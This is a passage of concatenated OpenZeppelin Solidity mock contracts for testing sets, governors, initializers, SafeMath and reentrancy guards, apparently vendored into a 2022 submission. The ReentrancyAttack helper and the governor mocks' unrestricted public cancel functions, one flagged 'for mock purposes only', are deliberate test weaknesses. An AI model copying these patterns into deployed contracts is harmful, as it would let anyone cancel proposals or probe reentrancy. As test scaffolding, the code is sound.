function set(uint256 key, address value) public {
bool result = _map.set(key, value);
emit OperationResult(result);
}
function remove(uint256 key) public {
bool result = _map.remove(key);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _map.length();
}
function at(uint256 index) public view returns (uint256 key, address value) {
return _map.at(index);
}
function tryGet(uint256 key) public view returns (bool, address) {
return _map.tryGet(key);
}
function get(uint256 key) public view returns (address) {
return _map.get(key);
}
function getWithMessage(uint256 key, string calldata errorMessage) public view returns (address) {
return _map.get(key, errorMessage);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EnumerableSetMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/EnumerableSet.sol";
// Bytes32Set
contract EnumerableBytes32SetMock {
using EnumerableSet for EnumerableSet.Bytes32Set;
event OperationResult(bool result);
EnumerableSet.Bytes32Set private _set;
function contains(bytes32 value) public view returns (bool) {
return _set.contains(value);
}
function add(bytes32 value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(bytes32 value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (bytes32) {
return _set.at(index);
}
function values() public view returns (bytes32[] memory) {
return _set.values();
}
}
// AddressSet
contract EnumerableAddressSetMock {
using EnumerableSet for EnumerableSet.AddressSet;
event OperationResult(bool result);
EnumerableSet.AddressSet private _set;
function contains(address value) public view returns (bool) {
return _set.contains(value);
}
function add(address value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(address value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (address) {
return _set.at(index);
}
function values() public view returns (address[] memory) {
return _set.values();
}
}
// UintSet
contract EnumerableUintSetMock {
using EnumerableSet for EnumerableSet.UintSet;
event OperationResult(bool result);
EnumerableSet.UintSet private _set;
function contains(uint256 value) public view returns (bool) {
return _set.contains(value);
}
function add(uint256 value) public {
bool result = _set.add(value);
emit OperationResult(result);
}
function remove(uint256 value) public {
bool result = _set.remove(value);
emit OperationResult(result);
}
function length() public view returns (uint256) {
return _set.length();
}
function at(uint256 index) public view returns (uint256) {
return _set.at(index);
}
function values() public view returns (uint256[] memory) {
return _set.values();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EtherReceiverMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EtherReceiverMock {
bool private _acceptEther;
function setAcceptEther(bool acceptEther) public {
_acceptEther = acceptEther;
}
receive() external payable {
if (!_acceptEther) {
revert();
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorCompMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorCountingSimple.sol";
import "../governance/extensions/GovernorVotesComp.sol";
contract GovernorCompMock is GovernorVotesComp, GovernorCountingSimple {
constructor(string memory name_, ERC20VotesComp token_) Governor(name_) GovernorVotesComp(token_) {}
function quorum(uint256) public pure override returns (uint256) {
return 0;
}
function votingDelay() public pure override returns (uint256) {
return 4;
}
function votingPeriod() public pure override returns (uint256) {
return 16;
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernor, GovernorVotesComp)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorCompatibilityBravoMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/compatibility/GovernorCompatibilityBravo.sol";
import "../governance/extensions/GovernorTimelockCompound.sol";
import "../governance/extensions/GovernorSettings.sol";
import "../governance/extensions/GovernorVotesComp.sol";
contract GovernorCompatibilityBravoMock is
GovernorCompatibilityBravo,
GovernorSettings,
GovernorTimelockCompound,
GovernorVotesComp
{
constructor(
string memory name_,
ERC20VotesComp token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 proposalThreshold_,
ICompoundTimelock timelock_
)
Governor(name_)
GovernorTimelockCompound(timelock_)
GovernorSettings(votingDelay_, votingPeriod_, proposalThreshold_)
GovernorVotesComp(token_)
{}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, Governor, GovernorTimelockCompound)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256) public pure override returns (uint256) {
return 0;
}
function state(uint256 proposalId)
public
view
virtual
override(IGovernor, Governor, GovernorTimelockCompound)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalEta(uint256 proposalId)
public
view
virtual
override(IGovernorTimelock, GovernorTimelockCompound)
returns (uint256)
{
return super.proposalEta(proposalId);
}
function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {
return super.proposalThreshold();
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(IGovernor, Governor, GovernorCompatibilityBravo) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public virtual override(IGovernorTimelock, GovernorTimelockCompound) returns (uint256) {
return super.queue(targets, values, calldatas, salt);
}
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public payable virtual override(IGovernor, Governor) returns (uint256) {
return super.execute(targets, values, calldatas, salt);
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(Governor, GovernorTimelockCompound) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
/**
* @notice WARNING: this is for mock purposes only. Ability to the _cancel function should be restricted for live
* deployments.
*/
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) internal virtual override(Governor, GovernorTimelockCompound) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernor, GovernorVotesComp)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(Governor, GovernorTimelockCompound) returns (address) {
return super._executor();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorProposalThreshold.sol";
import "../governance/extensions/GovernorSettings.sol";
import "../governance/extensions/GovernorCountingSimple.sol";
import "../governance/extensions/GovernorVotesQuorumFraction.sol";
contract GovernorMock is
GovernorProposalThreshold,
GovernorSettings,
GovernorVotesQuorumFraction,
GovernorCountingSimple
{
constructor(
string memory name_,
ERC20Votes token_,
uint256 votingDelay_,
uint256 votingPeriod_,
uint256 quorumNumerator_
)
Governor(name_)
GovernorSettings(votingDelay_, votingPeriod_, 0)
GovernorVotes(token_)
GovernorVotesQuorumFraction(quorumNumerator_)
{}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {
return super.proposalThreshold();
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override(Governor, GovernorProposalThreshold) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorTimelockCompoundMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorTimelockCompound.sol";
import "../governance/extensions/GovernorSettings.sol";
import "../governance/extensions/GovernorCountingSimple.sol";
import "../governance/extensions/GovernorVotesQuorumFraction.sol";
contract GovernorTimelockCompoundMock is
GovernorSettings,
GovernorTimelockCompound,
GovernorVotesQuorumFraction,
GovernorCountingSimple
{
constructor(
string memory name_,
ERC20Votes token_,
uint256 votingDelay_,
uint256 votingPeriod_,
ICompoundTimelock timelock_,
uint256 quorumNumerator_
)
Governor(name_)
GovernorTimelockCompound(timelock_)
GovernorSettings(votingDelay_, votingPeriod_, 0)
GovernorVotes(token_)
GovernorVotesQuorumFraction(quorumNumerator_)
{}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(Governor, GovernorTimelockCompound)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
return super.quorum(blockNumber);
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, salt);
}
/**
* Overriding nightmare
*/
function state(uint256 proposalId)
public
view
virtual
override(Governor, GovernorTimelockCompound)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {
return super.proposalThreshold();
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(Governor, GovernorTimelockCompound) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 salt
) internal virtual override(Governor, GovernorTimelockCompound) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, salt);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(Governor, GovernorTimelockCompound) returns (address) {
return super._executor();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/GovernorTimelockControlMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../governance/extensions/GovernorTimelockControl.sol";
import "../governance/extensions/GovernorSettings.sol";
import "../governance/extensions/GovernorCountingSimple.sol";
import "../governance/extensions/GovernorVotesQuorumFraction.sol";
contract GovernorTimelockControlMock is
GovernorSettings,
GovernorTimelockControl,
GovernorVotesQuorumFraction,
GovernorCountingSimple
{
constructor(
string memory name_,
ERC20Votes token_,
uint256 votingDelay_,
uint256 votingPeriod_,
TimelockController timelock_,
uint256 quorumNumerator_
)
Governor(name_)
GovernorTimelockControl(timelock_)
GovernorSettings(votingDelay_, votingPeriod_, 0)
GovernorVotes(token_)
GovernorVotesQuorumFraction(quorumNumerator_)
{}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(Governor, GovernorTimelockControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function quorum(uint256 blockNumber)
public
view
override(IGovernor, GovernorVotesQuorumFraction)
returns (uint256)
{
return super.quorum(blockNumber);
}
function cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public returns (uint256 proposalId) {
return _cancel(targets, values, calldatas, descriptionHash);
}
/**
* Overriding nightmare
*/
function state(uint256 proposalId)
public
view
virtual
override(Governor, GovernorTimelockControl)
returns (ProposalState)
{
return super.state(proposalId);
}
function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {
return super.proposalThreshold();
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(Governor, GovernorTimelockControl) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override(Governor, GovernorTimelockControl) returns (uint256 proposalId) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function getVotes(address account, uint256 blockNumber)
public
view
virtual
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function _executor() internal view virtual override(Governor, GovernorTimelockControl) returns (address) {
return super._executor();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/InitializableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @title InitializableMock
* @dev This contract is a mock to test initializable functionality
*/
contract InitializableMock is Initializable {
bool public initializerRan;
bool public onlyInitializingRan;
uint256 public x;
function initialize() public initializer {
initializerRan = true;
}
function initializeOnlyInitializing() public onlyInitializing {
onlyInitializingRan = true;
}
function initializerNested() public initializer {
initialize();
}
function onlyInitializingNested() public initializer {
initializeOnlyInitializing();
}
function initializeWithX(uint256 _x) public payable initializer {
x = _x;
}
function nonInitializable(uint256 _x) public payable {
x = _x;
}
function fail() public pure {
require(false, "InitializableMock forced failure");
}
}
contract ConstructorInitializableMock is Initializable {
bool public initializerRan;
bool public onlyInitializingRan;
constructor() initializer {
initialize();
initializeOnlyInitializing();
}
function initialize() public initializer {
initializerRan = true;
}
function initializeOnlyInitializing() public onlyInitializing {
onlyInitializingRan = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MathMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/Math.sol";
contract MathMock {
function max(uint256 a, uint256 b) public pure returns (uint256) {
return Math.max(a, b);
}
function min(uint256 a, uint256 b) public pure returns (uint256) {
return Math.min(a, b);
}
function average(uint256 a, uint256 b) public pure returns (uint256) {
return Math.average(a, b);
}
function ceilDiv(uint256 a, uint256 b) public pure returns (uint256) {
return Math.ceilDiv(a, b);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MerkleProofWrapper.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/MerkleProof.sol";
contract MerkleProofWrapper {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) public pure returns (bool) {
return MerkleProof.verify(proof, root, leaf);
}
function processProof(bytes32[] memory proof, bytes32 leaf) public pure returns (bytes32) {
return MerkleProof.processProof(proof, leaf);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MulticallTest.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MulticallTokenMock.sol";
contract MulticallTest {
function testReturnValues(
MulticallTokenMock multicallToken,
address[] calldata recipients,
uint256[] calldata amounts
) external {
bytes[] memory calls = new bytes[](recipients.length);
for (uint256 i = 0; i < recipients.length; i++) {
calls[i] = abi.encodeWithSignature("transfer(address,uint256)", recipients[i], amounts[i]);
}
bytes[] memory results = multicallToken.multicall(calls);
for (uint256 i = 0; i < results.length; i++) {
require(abi.decode(results[i], (bool)));
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MulticallTokenMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Multicall.sol";
import "./ERC20Mock.sol";
contract MulticallTokenMock is ERC20Mock, Multicall {
constructor(uint256 initialBalance) ERC20Mock("MulticallToken", "BCT", msg.sender, initialBalance) {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/MultipleInheritanceInitializableMocks.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
// Sample contracts showing upgradeability with multiple inheritance.
// Child contract inherits from Father and Mother contracts, and Father extends from Gramps.
//
// Human
// / \
// | Gramps
// | |
// Mother Father
// | |
// -- Child --
/**
* Sample base intializable contract that is a human
*/
contract SampleHuman is Initializable {
bool public isHuman;
function initialize() public initializer {
__SampleHuman_init();
}
// solhint-disable-next-line func-name-mixedcase
function __SampleHuman_init() internal onlyInitializing {
__SampleHuman_init_unchained();
}
// solhint-disable-next-line func-name-mixedcase
function __SampleHuman_init_unchained() internal onlyInitializing {
isHuman = true;
}
}
/**
* Sample base intializable contract that defines a field mother
*/
contract SampleMother is Initializable, SampleHuman {
uint256 public mother;
function initialize(uint256 value) public virtual initializer {
__SampleMother_init(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleMother_init(uint256 value) internal onlyInitializing {
__SampleHuman_init();
__SampleMother_init_unchained(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleMother_init_unchained(uint256 value) internal onlyInitializing {
mother = value;
}
}
/**
* Sample base intializable contract that defines a field gramps
*/
contract SampleGramps is Initializable, SampleHuman {
string public gramps;
function initialize(string memory value) public virtual initializer {
__SampleGramps_init(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleGramps_init(string memory value) internal onlyInitializing {
__SampleHuman_init();
__SampleGramps_init_unchained(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleGramps_init_unchained(string memory value) internal onlyInitializing {
gramps = value;
}
}
/**
* Sample base intializable contract that defines a field father and extends from gramps
*/
contract SampleFather is Initializable, SampleGramps {
uint256 public father;
function initialize(string memory _gramps, uint256 _father) public initializer {
__SampleFather_init(_gramps, _father);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleFather_init(string memory _gramps, uint256 _father) internal onlyInitializing {
__SampleGramps_init(_gramps);
__SampleFather_init_unchained(_father);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleFather_init_unchained(uint256 _father) internal onlyInitializing {
father = _father;
}
}
/**
* Child extends from mother, father (gramps)
*/
contract SampleChild is Initializable, SampleMother, SampleFather {
uint256 public child;
function initialize(
uint256 _mother,
string memory _gramps,
uint256 _father,
uint256 _child
) public initializer {
__SampleChild_init(_mother, _gramps, _father, _child);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleChild_init(
uint256 _mother,
string memory _gramps,
uint256 _father,
uint256 _child
) internal onlyInitializing {
__SampleMother_init(_mother);
__SampleFather_init(_gramps, _father);
__SampleChild_init_unchained(_child);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleChild_init_unchained(uint256 _child) internal onlyInitializing {
child = _child;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/OwnableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/Ownable.sol";
contract OwnableMock is Ownable {}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/PausableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/Pausable.sol";
contract PausableMock is Pausable {
bool public drasticMeasureTaken;
uint256 public count;
constructor() {
drasticMeasureTaken = false;
count = 0;
}
function normalProcess() external whenNotPaused {
count++;
}
function drasticMeasure() external whenPaused {
drasticMeasureTaken = true;
}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/PullPaymentMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/PullPayment.sol";
// mock class using PullPayment
contract PullPaymentMock is PullPayment {
constructor() payable {}
// test helper function to call asyncTransfer
function callTransfer(address dest, uint256 amount) public {
_asyncTransfer(dest, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ReentrancyAttack.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
contract ReentrancyAttack is Context {
function callSender(bytes4 data) public {
(bool success, ) = _msgSender().call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ReentrancyMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/ReentrancyGuard.sol";
import "./ReentrancyAttack.sol";
contract ReentrancyMock is ReentrancyGuard {
uint256 public counter;
constructor() {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countAndCall(ReentrancyAttack attacker) public nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function _count() private {
counter += 1;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/RegressionImplementation.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
contract Implementation1 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
}
contract Implementation2 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue() public view returns (uint256) {
return _value;
}
}
contract Implementation3 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue(uint256 _number) public view returns (uint256) {
return _value + _number;
}
}
contract Implementation4 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue() public view returns (uint256) {
return _value;
}
fallback() external {
_value = 1;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeCastMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SafeCast.sol";
contract SafeCastMock {
using SafeCast for uint256;
using SafeCast for int256;
function toUint256(int256 a) public pure returns (uint256) {
return a.toUint256();
}
function toUint224(uint256 a) public pure returns (uint224) {
return a.toUint224();
}
function toUint128(uint256 a) public pure returns (uint128) {
return a.toUint128();
}
function toUint96(uint256 a) public pure returns (uint96) {
return a.toUint96();
}
function toUint64(uint256 a) public pure returns (uint64) {
return a.toUint64();
}
function toUint32(uint256 a) public pure returns (uint32) {
return a.toUint32();
}
function toUint16(uint256 a) public pure returns (uint16) {
return a.toUint16();
}
function toUint8(uint256 a) public pure returns (uint8) {
return a.toUint8();
}
function toInt256(uint256 a) public pure returns (int256) {
return a.toInt256();
}
function toInt128(int256 a) public pure returns (int128) {
return a.toInt128();
}
function toInt64(int256 a) public pure returns (int64) {
return a.toInt64();
}
function toInt32(int256 a) public pure returns (int32) {
return a.toInt32();
}
function toInt16(int256 a) public pure returns (int16) {
return a.toInt16();
}
function toInt8(int256 a) public pure returns (int8) {
return a.toInt8();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeERC20Helper.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../token/ERC20/IERC20.sol";
import "../token/ERC20/utils/SafeERC20.sol";
contract ERC20ReturnFalseMock is Context {
uint256 private _allowance;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public returns (bool) {
_dummy = 0;
return false;
}
function transferFrom(
address,
address,
uint256
) public returns (bool) {
_dummy = 0;
return false;
}
function approve(address, uint256) public returns (bool) {
_dummy = 0;
return false;
}
function allowance(address, address) public view returns (uint256) {
require(_dummy == 0); // Duummy read from a state variable so that the function is view
return 0;
}
}
contract ERC20ReturnTrueMock is Context {
mapping(address => uint256) private _allowances;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public returns (bool) {
_dummy = 0;
return true;
}
function transferFrom(
address,
address,
uint256
) public returns (bool) {
_dummy = 0;
return true;
}
function approve(address, uint256) public returns (bool) {
_dummy = 0;
return true;
}
function setAllowance(uint256 allowance_) public {
_allowances[_msgSender()] = allowance_;
}
function allowance(address owner, address) public view returns (uint256) {
return _allowances[owner];
}
}
contract ERC20NoReturnMock is Context {
mapping(address => uint256) private _allowances;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public {
_dummy = 0;
}
function transferFrom(
address,
address,
uint256
) public {
_dummy = 0;
}
function approve(address, uint256) public {
_dummy = 0;
}
function setAllowance(uint256 allowance_) public {
_allowances[_msgSender()] = allowance_;
}
function allowance(address owner, address) public view returns (uint256) {
return _allowances[owner];
}
}
contract SafeERC20Wrapper is Context {
using SafeERC20 for IERC20;
IERC20 private _token;
constructor(IERC20 token) {
_token = token;
}
function transfer() public {
_token.safeTransfer(address(0), 0);
}
function transferFrom() public {
_token.safeTransferFrom(address(0), address(0), 0);
}
function approve(uint256 amount) public {
_token.safeApprove(address(0), amount);
}
function increaseAllowance(uint256 amount) public {
_token.safeIncreaseAllowance(address(0), amount);
}
function decreaseAllowance(uint256 amount) public {
_token.safeDecreaseAllowance(address(0), amount);
}
function setAllowance(uint256 allowance_) public {
ERC20ReturnTrueMock(address(_token)).setAllowance(allowance_);
}
function allowance() public view returns (uint256) {
return _token.allowance(address(0), address(0));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeMathMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SafeMath.sol";
contract SafeMathMock {
function tryAdd(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMath.tryAdd(a, b);
}
function trySub(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMath.trySub(a, b);
}
function tryMul(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMath.tryMul(a, b);
}
function tryDiv(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMath.tryDiv(a, b);
}
function tryMod(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMath.tryMod(a, b);
}
// using the do* naming convention to avoid warnings due to clashing opcode names
function doAdd(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMath.add(a, b);
}
function doSub(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMath.sub(a, b);
}
function doMul(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMath.mul(a, b);
}
function doDiv(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMath.div(a, b);
}
function doMod(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMath.mod(a, b);
}
function subWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMath.sub(a, b, errorMessage);
}
function divWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMath.div(a, b, errorMessage);
}
function modWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMath.mod(a, b, errorMessage);
}
function addMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMath.add(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function subMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMath.sub(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function mulMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMath.mul(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function divMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMath.div(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function modMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMath.mod(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SignatureCheckerMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/SignatureChecker.sol";
contract SignatureCheckerMock {
using SignatureChecker for address;
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) public view returns (bool) {
return signer.isValidSignatureNow(hash, signature);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SignedSafeMathMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SignedSafeMath.sol";
contract SignedSafeMathMock {
function mul(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMath.mul(a, b);
}
